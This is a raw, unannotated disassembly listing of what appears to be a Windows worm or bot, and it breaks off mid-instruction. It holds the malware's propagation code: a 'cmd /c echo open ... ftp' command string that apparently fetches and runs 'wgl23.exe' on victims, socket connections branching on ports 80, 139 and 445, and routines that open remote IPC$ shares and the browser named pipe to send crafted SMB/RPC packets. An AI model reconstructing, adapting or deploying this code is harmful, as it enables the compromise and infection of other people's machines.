push eax ; Dst call _memcpy add esp, 0Ch mov eax, offset Str ; "wgl23.exe" push eax push eax movzx eax, word ptr dword_4E3F28 push eax push [ebp+arg_0] call sub_40AFA9 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp+Dest] push 400h ; Count push eax ; Dest call __snprintf add eax, 90h push eax lea eax, [ebp+Dst] push eax push 164h lea eax, [ebp+Src] push offset aSvwfbA ; "SVWf" push eax call sub_40D36D xor ebx, ebx add esp, 30h cmp [ebp+Size], ebx jnz short loc_40DBE2 xor eax, eax jmp loc_40DCF0 ; --------------------------------------------------------------------------- loc_40DBE2: ; CODE XREF: sub_40DB44+95j mov [ebp+var_C], ebx loc_40DBE5: ; CODE XREF: sub_40DB44+183j test ebx, ebx jnz loc_40DCCD push 6 push 1 push 2 call ds:dword_4F6570 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40DCB5 xor eax, eax lea edi, [ebp+var_1E] stosd push [ebp+arg_A0] stosd stosd stosw mov [ebp+var_20], 2 call dword_4E4220 ; htons mov [ebp+var_1E], ax lea eax, [ebp+arg_4] push eax call dword_4E4260 ; inet_addr mov [ebp+var_1C], eax lea eax, [ebp+var_20] push 10h push eax push esi call dword_4E41C8 ; connect cmp eax, 0FFFFFFFFh jz short loc_40DCAA cmp [ebp+arg_A0], 50h jnz short loc_40DC72 sub esp, 10h lea eax, [ebp+var_D] mov ecx, esp mov [ebp+var_24], esp push eax lea eax, [ebp+arg_4] push eax call sub_40DD4D push [ebp+Size] push [ebp+Src] push esi call sub_40DA86 add esp, 1Ch jmp short loc_40DCA7 ; --------------------------------------------------------------------------- loc_40DC72: ; CODE XREF: sub_40DB44+106j cmp [ebp+arg_A0], 8Bh jnz short loc_40DC8C push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; int call sub_40D871 jmp short loc_40DCA4 ; --------------------------------------------------------------------------- loc_40DC8C: ; CODE XREF: sub_40DB44+138j cmp [ebp+arg_A0], 1BDh jnz short loc_40DCAA push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; int call sub_40D797 loc_40DCA4: ; CODE XREF: sub_40DB44+146j add esp, 0Ch loc_40DCA7: ; CODE XREF: sub_40DB44+12Cj movzx ebx, al loc_40DCAA: ; CODE XREF: sub_40DB44+FDj ; sub_40DB44+152j push esi call dword_4E42B8 ; closesocket test ebx, ebx jnz short loc_40DCC0 loc_40DCB5: ; CODE XREF: sub_40DB44+BAj push 3E8h call ds:dword_4F6380 ; Sleep loc_40DCC0: ; CODE XREF: sub_40DB44+16Fj inc [ebp+var_C] cmp [ebp+var_C], 2 jl loc_40DBE5 loc_40DCCD: ; CODE XREF: sub_40DB44+A3j lea ecx, [ebp+Src] call sub_40D192 test ebx, ebx jz short loc_40DCEE mov eax, [ebp+arg_A8] shl eax, 6 inc dword_449250[eax] lea eax, dword_449250[eax] loc_40DCEE: ; CODE XREF: sub_40DB44+193j mov eax, ebx loc_40DCF0: ; CODE XREF: sub_40DB44+99j pop edi pop esi pop ebx leave retn sub_40DB44 endp ; =============== S U B R O U T I N E ======================================= sub_40DCF5 proc near ; DATA XREF: .data:00440008o call sub_40E2EC jmp $+5 push offset nullsub_1 ; void (__cdecl *)() call _atexit pop ecx retn sub_40DCF5 endp ; =============== S U B R O U T I N E ======================================= sub_40DD0B proc near ; CODE XREF: sub_40D90F+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40E08D mov eax, esi pop esi retn 4 sub_40DD0B endp ; =============== S U B R O U T I N E ======================================= sub_40DD23 proc near ; CODE XREF: sub_40D90F+152p ; sub_43B410+3Cp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push 0 mov al, [edi] mov [esi], al call sub_40E08D push ds:dword_43D478 mov ecx, esi push 0 push edi call sub_40DE9E mov eax, esi pop edi pop esi retn 4 sub_40DD23 endp ; =============== S U B R O U T I N E ======================================= sub_40DD4D proc near ; CODE XREF: sub_40DB44+118p ; sub_43B3B0+27p ... Str = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40E08D push [esp+4+Str] ; Str mov ecx, esi call sub_40DF94 mov eax, esi pop esi retn 8 sub_40DD4D endp ; =============== S U B R O U T I N E ======================================= sub_40DD70 proc near ; CODE XREF: sub_40D90F+161p ; sub_40DA86+9Cp ... push 1 call sub_40E08D retn sub_40DD70 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40DD78(char *Str) sub_40DD78 proc near ; CODE XREF: sub_40D90F+11Ep Src = dword ptr 4 push esi mov esi, ecx push [esp+4+Src] ; Str call sub_40DD95 pop ecx push eax ; Size mov ecx, esi push [esp+8+Src] ; Src call sub_40DE34 pop esi retn 4 sub_40DD78 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40DD95(char *Str) sub_40DD95 proc near ; CODE XREF: sub_40DD78+7p ; sub_40DF94+7p Str = dword ptr 4 push [esp+Str] ; Str call _strlen pop ecx retn sub_40DD95 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40DDA0(size_t Size,int) sub_40DDA0 proc near ; CODE XREF: sub_40D90F+107p ; sub_40D90F+138p Size = dword ptr 4 arg_4 = dword ptr 8 mov eax, ds:dword_43D478 push ebx mov ebx, [esp+4+Size] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40DDBA call sub_43B3B0 loc_40DDBA: ; CODE XREF: sub_40DDA0+13j test ebx, ebx jbe short loc_40DDEE mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40DFE1 test al, al jz short loc_40DDEE lea eax, [esp+0Ch+arg_4] push eax ; int mov eax, [esi+4] add eax, [esi+8] push ebx ; Size push eax ; Dst call sub_40DDF6 add esp, 0Ch mov ecx, esi push edi call sub_40DFB1 loc_40DDEE: ; CODE XREF: sub_40DDA0+1Cj ; sub_40DDA0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40DDA0 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40DDF6(void *Dst,size_t Size,int) sub_40DDF6 proc near ; CODE XREF: sub_40DDA0+3Ep Dst = dword ptr 4 Size = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push [esp+Size] ; Size movsx eax, byte ptr [eax] push eax ; Val push [esp+8+Dst] ; Dst call _memset add esp, 0Ch retn sub_40DDF6 endp ; =============== S U B R O U T I N E ======================================= sub_40DE0F proc near ; CODE XREF: sub_40DA86+59p ; sub_40DA86+62p ... mov eax, [ecx+4] test eax, eax jnz short locret_40DE1B call sub_40E087 locret_40DE1B: ; CODE XREF: sub_40DE0F+5j retn sub_40DE0F endp ; =============== S U B R O U T I N E ======================================= sub_40DE1C proc near ; CODE XREF: sub_40DA86+32p ; sub_40DA86+3Cp mov eax, [ecx+8] retn sub_40DE1C endp ; =============== S U B R O U T I N E ======================================= sub_40DE20 proc near ; CODE XREF: sub_40D90F+33p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp [ecx+0Ch], eax jnb short locret_40DE31 push 0 push eax call sub_40DFE1 locret_40DE31: ; CODE XREF: sub_40DE20+7j retn 4 sub_40DE20 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40DE34(void *Src,size_t Size) sub_40DE34 proc near ; CODE XREF: sub_40DD78+14p Src = dword ptr 4 Size = dword ptr 8 mov eax, ds:dword_43D478 push ebx mov ebx, [esp+4+Size] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40DE4E call sub_43B3B0 loc_40DE4E: ; CODE XREF: sub_40DE34+13j test ebx, ebx jbe short loc_40DE81 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40DFE1 test al, al jz short loc_40DE81 mov eax, [esi+4] push ebx ; Size push [esp+10h+Src] ; Src add eax, [esi+8] push eax ; Dst call sub_40DE89 add esp, 0Ch mov ecx, esi push edi call sub_40DFB1 loc_40DE81: ; CODE XREF: sub_40DE34+1Cj ; sub_40DE34+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40DE34 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40DE89(void *Dst,void *Src,size_t Size) sub_40DE89 proc near ; CODE XREF: sub_40DE34+3Dp ; sub_40DE9E+D9p ... Dst = dword ptr 4 Src = dword ptr 8 Size = dword ptr 0Ch push [esp+Size] ; Size push [esp+4+Src] ; Src push [esp+8+Dst] ; Dst call _memcpy add esp, 0Ch retn sub_40DE89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE9E proc near ; CODE XREF: sub_40DD23+1Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi mov esi, ecx push edi mov ecx, ebx call sub_40DF90 cmp eax, [ebp+arg_4] jnb short loc_40DEBA call sub_43B6B0 loc_40DEBA: ; CODE XREF: sub_40DE9E+15j mov ecx, ebx call sub_40DF90 mov edi, eax mov eax, [ebp+arg_4] sub edi, eax cmp [ebp+arg_8], edi jnb short loc_40DED0 mov edi, [ebp+arg_8] loc_40DED0: ; CODE XREF: sub_40DE9E+2Dj cmp esi, ebx jnz short loc_40DEF5 push ds:dword_43D478 add edi, eax mov ecx, esi push edi call sub_40E11D push [ebp+arg_4] mov ecx, esi push 0 call sub_40E11D jmp loc_40DF87 ; --------------------------------------------------------------------------- loc_40DEF5: ; CODE XREF: sub_40DE9E+34j test edi, edi jbe short loc_40DF5A mov ecx, ebx call sub_40DF90 cmp edi, eax jnz short loc_40DF5A mov ecx, ebx call sub_40DE0F push eax mov ecx, esi call sub_40E272 cmp byte ptr [eax], 0FEh jnb short loc_40DF5A push ebx push esi call sub_40E2D7 pop ecx test al, al pop ecx jz short loc_40DF5A push 1 mov ecx, esi call sub_40E08D mov ecx, ebx call sub_40DE0F mov ecx, ebx mov [esi+4], eax call sub_40DF90 mov ecx, ebx mov [esi+8], eax call sub_40E1A9 push dword ptr [esi+4] mov ecx, esi mov [esi+0Ch], eax call sub_40E272 inc byte ptr [eax] jmp short loc_40DF87 ; --------------------------------------------------------------------------- loc_40DF5A: ; CODE XREF: sub_40DE9E+59j ; sub_40DE9E+64j ... push 1 push edi mov ecx, esi call sub_40DFE1 test al, al jz short loc_40DF87 push edi ; Size mov ecx, ebx call sub_40DE0F add eax, [ebp+arg_4] push eax ; Src push dword ptr [esi+4] ; Dst call sub_40DE89 add esp, 0Ch mov ecx, esi push edi call sub_40DFB1 loc_40DF87: ; CODE XREF: sub_40DE9E+52j ; sub_40DE9E+BAj ... mov eax, esi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40DE9E endp ; =============== S U B R O U T I N E ======================================= sub_40DF90 proc near ; CODE XREF: sub_40DE9E+Dp ; sub_40DE9E+1Ep ... mov eax, [ecx+8] retn sub_40DF90 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40DF94(char *Str) sub_40DF94 proc near ; CODE XREF: sub_40DD4D+18p ; sub_40E287+34p Src = dword ptr 4 push esi mov esi, ecx push [esp+4+Src] ; Str call sub_40DD95 pop ecx push eax ; Size mov ecx, esi push [esp+8+Src] ; Src call sub_40E0E7 pop esi retn 4 sub_40DF94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFB1 proc near ; CODE XREF: sub_40DDA0+49p ; sub_40DE34+48p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and [ebp+var_1], 0 mov [ecx+8], eax mov ecx, [ecx+4] lea edx, [ebp+var_1] add ecx, eax push edx push ecx call sub_40DFD4 pop ecx pop ecx leave retn 4 sub_40DFB1 endp ; =============== S U B R O U T I N E ======================================= sub_40DFD4 proc near ; CODE XREF: sub_40DFB1+18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] mov al, [eax] mov [ecx], al retn sub_40DFD4 endp ; =============== S U B R O U T I N E ======================================= sub_40DFE1 proc near ; CODE XREF: sub_40DDA0+28p ; sub_40DE20+Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi push edi mov esi, ecx call sub_40E197 mov edi, [esp+0Ch+arg_0] cmp eax, edi jnb short loc_40DFF8 call sub_43B3B0 loc_40DFF8: ; CODE XREF: sub_40DFE1+10j mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz short loc_40E038 push eax mov ecx, esi call sub_40E272 cmp [eax], bl jz short loc_40E038 push dword ptr [esi+4] mov ecx, esi call sub_40E272 cmp byte ptr [eax], 0FFh jz short loc_40E038 cmp edi, ebx jnz short loc_40E077 push dword ptr [esi+4] mov ecx, esi call sub_40E272 dec byte ptr [eax] push ebx loc_40E02D: ; CODE XREF: sub_40DFE1+63j mov ecx, esi call sub_40E08D loc_40E034: ; CODE XREF: sub_40DFE1+68j ; sub_40DFE1+72j xor al, al jmp short loc_40E081 ; --------------------------------------------------------------------------- loc_40E038: ; CODE XREF: sub_40DFE1+1Ej ; sub_40DFE1+2Aj ... cmp edi, ebx jnz short loc_40E055 cmp [esp+0Ch+arg_4], bl jz short loc_40E046 push 1 jmp short loc_40E02D ; --------------------------------------------------------------------------- loc_40E046: ; CODE XREF: sub_40DFE1+5Fj cmp [esi+4], ebx jz short loc_40E034 push ebx mov ecx, esi call sub_40DFB1 jmp short loc_40E034 ; --------------------------------------------------------------------------- loc_40E055: ; CODE XREF: sub_40DFE1+59j cmp [esp+0Ch+arg_4], bl jz short loc_40E072 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40E067 cmp eax, edi jnb short loc_40E07F loc_40E067: ; CODE XREF: sub_40DFE1+80j push 1 mov ecx, esi call sub_40E08D jmp short loc_40E077 ; --------------------------------------------------------------------------- loc_40E072: ; CODE XREF: sub_40DFE1+78j cmp [esi+0Ch], edi jnb short loc_40E07F loc_40E077: ; CODE XREF: sub_40DFE1+3Dj ; sub_40DFE1+8Fj push edi mov ecx, esi call sub_40E1AD loc_40E07F: ; CODE XREF: sub_40DFE1+84j ; sub_40DFE1+94j mov al, 1 loc_40E081: ; CODE XREF: sub_40DFE1+55j pop edi pop esi pop ebx retn 8 sub_40DFE1 endp ; =============== S U B R O U T I N E ======================================= sub_40E087 proc near ; CODE XREF: sub_40DE0F+7p mov eax, offset dword_43D47C retn sub_40E087 endp ; =============== S U B R O U T I N E ======================================= sub_40E08D proc near ; CODE XREF: sub_40DD0B+Dp ; sub_40DD23+Ep ... arg_0 = byte ptr 4 push ebx xor ebx, ebx cmp [esp+4+arg_0], bl push esi mov esi, ecx jz short loc_40E0D9 mov eax, [esi+4] cmp eax, ebx jz short loc_40E0D9 push eax call sub_40E272 cmp [eax], bl jz short loc_40E0C7 push dword ptr [esi+4] mov ecx, esi call sub_40E272 cmp byte ptr [eax], 0FFh jz short loc_40E0C7 push dword ptr [esi+4] mov ecx, esi call sub_40E272 dec byte ptr [eax] jmp short loc_40E0D9 ; --------------------------------------------------------------------------- loc_40E0C7: ; CODE XREF: sub_40E08D+1Bj ; sub_40E08D+2Aj mov eax, [esi+0Ch] mov ecx, esi inc eax inc eax push eax mov eax, [esi+4] dec eax push eax call unknown_libname_32 ; Microsoft VisualC 2-8/net runtime loc_40E0D9: ; CODE XREF: sub_40E08D+Aj ; sub_40E08D+11j ... mov [esi+4], ebx mov [esi+8], ebx mov [esi+0Ch], ebx pop esi pop ebx retn 4 sub_40E08D endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40E0E7(void *Src,size_t Size) sub_40E0E7 proc near ; CODE XREF: sub_40DF94+14p Src = dword ptr 4 Size = dword ptr 8 push esi push 1 push [esp+8+Size] mov esi, ecx call sub_40DFE1 test al, al jz short loc_40E117 push [esp+4+Size] ; Size push [esp+8+Src] ; Src push dword ptr [esi+4] ; Dst call sub_40DE89 add esp, 0Ch mov ecx, esi push [esp+4+Size] call sub_40DFB1 loc_40E117: ; CODE XREF: sub_40E0E7+10j mov eax, esi pop esi retn 8 sub_40E0E7 endp ; =============== S U B R O U T I N E ======================================= sub_40E11D proc near ; CODE XREF: sub_40DE9E+41p ; sub_40DE9E+4Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40E130 call sub_43B6B0 loc_40E130: ; CODE XREF: sub_40E11D+Cj mov ecx, edi call sub_40E287 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40E146 mov ebx, eax loc_40E146: ; CODE XREF: sub_40E11D+25j test ebx, ebx jbe short loc_40E17A mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax ; Size lea eax, [ecx+ebx] push eax ; Src push ecx ; Dst call sub_40E182 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40DFE1 test al, al jz short loc_40E17A push esi mov ecx, edi call sub_40DFB1 loc_40E17A: ; CODE XREF: sub_40E11D+2Bj ; sub_40E11D+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40E11D endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40E182(void *Dst,void *Src,size_t Size) sub_40E182 proc near ; CODE XREF: sub_40E11D+3Ap Dst = dword ptr 4 Src = dword ptr 8 Size = dword ptr 0Ch push [esp+Size] ; Size push [esp+4+Src] ; Src push [esp+8+Dst] ; Dst call _memcpy_0 add esp, 0Ch retn sub_40E182 endp ; =============== S U B R O U T I N E ======================================= sub_40E197 proc near ; CODE XREF: sub_40DFE1+5p ; sub_40E1AD+1Ep call sub_40E2D3 cmp eax, 2 ja short loc_40E1A5 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_40E1A5: ; CODE XREF: sub_40E197+8j add eax, 0FFFFFFFEh retn sub_40E197 endp ; =============== S U B R O U T I N E ======================================= sub_40E1A9 proc near ; CODE XREF: sub_40DE9E+A6p mov eax, [ecx+0Ch] retn sub_40E1A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E1AD proc near ; CODE XREF: sub_40DFE1+99p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_43C7B4 call __EH_prolog sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, ecx mov [ebp+var_10], esp mov [ebp+var_14], esi or edi, 1Fh call sub_40E197 cmp eax, edi jnb short loc_40E1D7 mov edi, [ebp+arg_0] loc_40E1D7: ; CODE XREF: sub_40E1AD+25j and [ebp+var_4], 0 lea eax, [edi+2] push 0 push eax mov ecx, esi call sub_40E2C3 mov [ebp+arg_0], eax jmp short loc_40E210 ; --------------------------------------------------------------------------- loc_40E1ED: ; DATA XREF: .rdata:0043F3E4o mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [ebp+var_18], eax add eax, 2 push 0 push eax call sub_40E2C3 mov [ebp+arg_0], eax mov eax, offset loc_40E20A retn ; --------------------------------------------------------------------------- loc_40E20A: ; DATA XREF: sub_40E1AD+57o mov esi, [ebp+var_14] mov edi, [ebp+var_18] loc_40E210: ; CODE XREF: sub_40E1AD+3Ej mov eax, [esi+8] or [ebp+var_4], 0FFFFFFFFh test eax, eax jbe short loc_40E232 cmp eax, edi jbe short loc_40E221 mov eax, edi loc_40E221: ; CODE XREF: sub_40E1AD+70j push eax ; Size mov eax, [ebp+arg_0] push dword ptr [esi+4] ; Src inc eax push eax ; Dst call sub_40DE89 add esp, 0Ch loc_40E232: ; CODE XREF: sub_40E1AD+6Cj mov ebx, [esi+8] push 1 mov ecx, esi call sub_40E08D mov eax, [ebp+arg_0] mov ecx, esi inc eax push eax mov [esi+4], eax call sub_40E272 and byte ptr [eax], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40E259 mov edi, ebx loc_40E259: ; CODE XREF: sub_40E1AD+A8j push edi mov ecx, esi call sub_40DFB1 mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40E1AD endp ; =============== S U B R O U T I N E ======================================= sub_40E272 proc near ; CODE XREF: sub_40DE9E+70p ; sub_40DE9E+B3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax retn 4 sub_40E272 endp ; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_32. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40E287 proc near ; CODE XREF: sub_40E11D+15p push esi mov esi, ecx mov eax, [esi+4] test eax, eax jz short loc_40E2C1 push eax call sub_40E272 cmp byte ptr [eax], 0 jz short loc_40E2C1 push dword ptr [esi+4] mov ecx, esi call sub_40E272 cmp byte ptr [eax], 0FFh jz short loc_40E2C1 push edi mov edi, [esi+4] push 1 mov ecx, esi call sub_40E08D push edi ; Str mov ecx, esi call sub_40DF94 pop edi loc_40E2C1: ; CODE XREF: sub_40E287+8j ; sub_40E287+13j ... pop esi retn sub_40E287 endp ; =============== S U B R O U T I N E ======================================= sub_40E2C3 proc near ; CODE XREF: sub_40E1AD+36p ; sub_40E1AD+4Fp arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40E2DA pop ecx pop ecx retn 8 sub_40E2C3 endp ; =============== S U B R O U T I N E ======================================= sub_40E2D3 proc near ; CODE XREF: sub_40E197p or eax, 0FFFFFFFFh retn sub_40E2D3 endp ; =============== S U B R O U T I N E ======================================= sub_40E2D7 proc near ; CODE XREF: sub_40DE9E+7Cp mov al, 1 retn sub_40E2D7 endp ; =============== S U B R O U T I N E ======================================= sub_40E2DA proc near ; CODE XREF: sub_40E2C3+6p arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40E2E4 xor eax, eax loc_40E2E4: ; CODE XREF: sub_40E2DA+6j push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx retn sub_40E2DA endp ; =============== S U B R O U T I N E ======================================= sub_40E2EC proc near ; CODE XREF: sub_40DCF5p ; unknown_libname_31+3p test byte_4F4B1C, 1 jnz short locret_40E2FC or byte_4F4B1C, 1 locret_40E2FC: ; CODE XREF: sub_40E2EC+7j retn sub_40E2EC endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E2FE proc near ; DATA XREF: .data:0044000Co jmp $+5 sub_40E2FE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E303 proc near mov eax, dword_44A110 add eax, 6 mov dword_4E6F5C, eax retn sub_40E303 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40E311(int,char,int,__int16,int,size_t Size,int,void *Src,void *Memory,int,char) sub_40E311 proc near ; CODE XREF: sub_40E311+D0p ; sub_40E3FF+474p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h Size = dword ptr 1Ch Src = dword ptr 24h Memory = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40E325 or [ebp+arg_7], 1 jmp short loc_40E329 ; --------------------------------------------------------------------------- loc_40E325: ; CODE XREF: sub_40E311+Cj and [ebp+arg_7], 0FEh loc_40E329: ; CODE XREF: sub_40E311+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+Memory] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40E34D or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+Size], ebx mov [ebp+arg_C], ax jmp short loc_40E35F ; --------------------------------------------------------------------------- loc_40E34D: ; CODE XREF: sub_40E311+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+Size], eax mov [ebp+arg_2B], 1 loc_40E35F: ; CODE XREF: sub_40E311+3Aj movzx eax, [ebp+arg_C] push eax ; Size mov [ebp+var_4], eax call _malloc test eax, eax pop ecx mov [ebp+Memory], eax jz loc_40E3F8 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+Size] mov esi, [ebp+Src] push edi ; Size add eax, 18h push esi ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+Memory] push [ebp+arg_0] call ds:dword_4F63E8 ; WriteFile test eax, eax jz short loc_40E3EF mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40E3EF push [ebp+Memory] ; Memory call _free cmp [ebp+arg_2B], 0 pop ecx jz short loc_40E3EB push 0 ; char sub ebx, edi push [ebp+arg_24] ; int add edi, esi lea esi, [ebp+arg_4] push ebx ; Memory push edi ; Src sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] ; int rep movsd call sub_40E311 add esp, 2Ch jmp short loc_40E3FA ; --------------------------------------------------------------------------- loc_40E3EB: ; CODE XREF: sub_40E311+B3j mov al, 1 jmp short loc_40E3FA ; --------------------------------------------------------------------------- loc_40E3EF: ; CODE XREF: sub_40E311+9Cj ; sub_40E311+A4j push [ebp+Memory] ; Memory call _free pop ecx loc_40E3F8: ; CODE XREF: sub_40E311+61j xor al, al loc_40E3FA: ; CODE XREF: sub_40E311+D8j ; sub_40E311+DCj pop edi pop esi pop ebx leave retn sub_40E311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40E3FF(char *Size,void *Memory) sub_40E3FF proc near ; CODE XREF: sub_40E9F5+Bp var_60F0 = qword ptr -60F0h var_60DC = byte ptr -60DCh var_40DC = byte ptr -40DCh Dest = byte ptr -20DCh Dst = byte ptr -0DCh var_C8 = dword ptr -0C8h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B6 = byte ptr -0B6h var_B5 = byte ptr -0B5h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = dword ptr -0ACh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = word ptr -9Ch var_9A = byte ptr -9Ah var_98 = byte ptr -98h var_88 = dword ptr -88h var_84 = byte ptr -84h var_74 = dword ptr -74h Src = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5C = byte ptr -5Ch var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 Size = dword ptr 8 Memory = dword ptr 0Ch push ebp mov ebp, esp mov eax, 60DCh call __alloca_probe push ebx push esi push edi push offset a__6 ; "." push [ebp+Size] ; Str1 call __strcmpi pop ecx xor ebx, ebx test eax, eax pop ecx jz short loc_40E475 push [ebp+Size] mov esi, 2000h lea eax, [ebp+Dest] push offset aSIpc ; "\\\\%s\\ipc$" push esi ; Count push eax ; Dest call __snprintf push 20h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 1Ch lea eax, [ebp+Dest] mov [ebp+var_C8], eax lea eax, [ebp+Dst] push ebx push offset dword_4E6F64 push offset dword_4E6F68 push eax call sub_43B886 jmp short loc_40E47A ; --------------------------------------------------------------------------- loc_40E475: ; CODE XREF: sub_40E3FF+23j mov esi, 2000h loc_40E47A: ; CODE XREF: sub_40E3FF+74j push [ebp+Size] lea eax, [ebp+var_40DC] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call ds:dword_4F63F4 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40E4BE loc_40E4B7: ; CODE XREF: sub_40E3FF+197j ; sub_40E3FF+36Dj ... xor al, al jmp loc_40E902 ; --------------------------------------------------------------------------- loc_40E4BE: ; CODE XREF: sub_40E3FF+B6j push 48h ; Size lea eax, [ebp+var_B8] push ebx ; Val push eax ; Dst call _memset push 10h mov [ebp+var_B8], 5 pop eax mov [ebp+var_B7], bl push 1 mov [ebp+var_B4], eax pop edi mov [ebp+var_B6], 0Bh push eax ; Size lea eax, [ebp+var_98] push offset dword_44A16C ; Src push eax ; Dst mov [ebp+var_B5], 3 mov [ebp+var_B0], 48h mov [ebp+var_AE], bx mov [ebp+var_AC], ebx mov [ebp+var_A8], 10B8h mov [ebp+var_A6], 10B8h mov [ebp+var_A4], ebx mov [ebp+var_A0], edi mov [ebp+var_9C], bx mov [ebp+var_9A], 1 call _memcpy push 10h ; Size lea eax, [ebp+var_84] push offset dword_44A180 ; Src push eax ; Dst mov 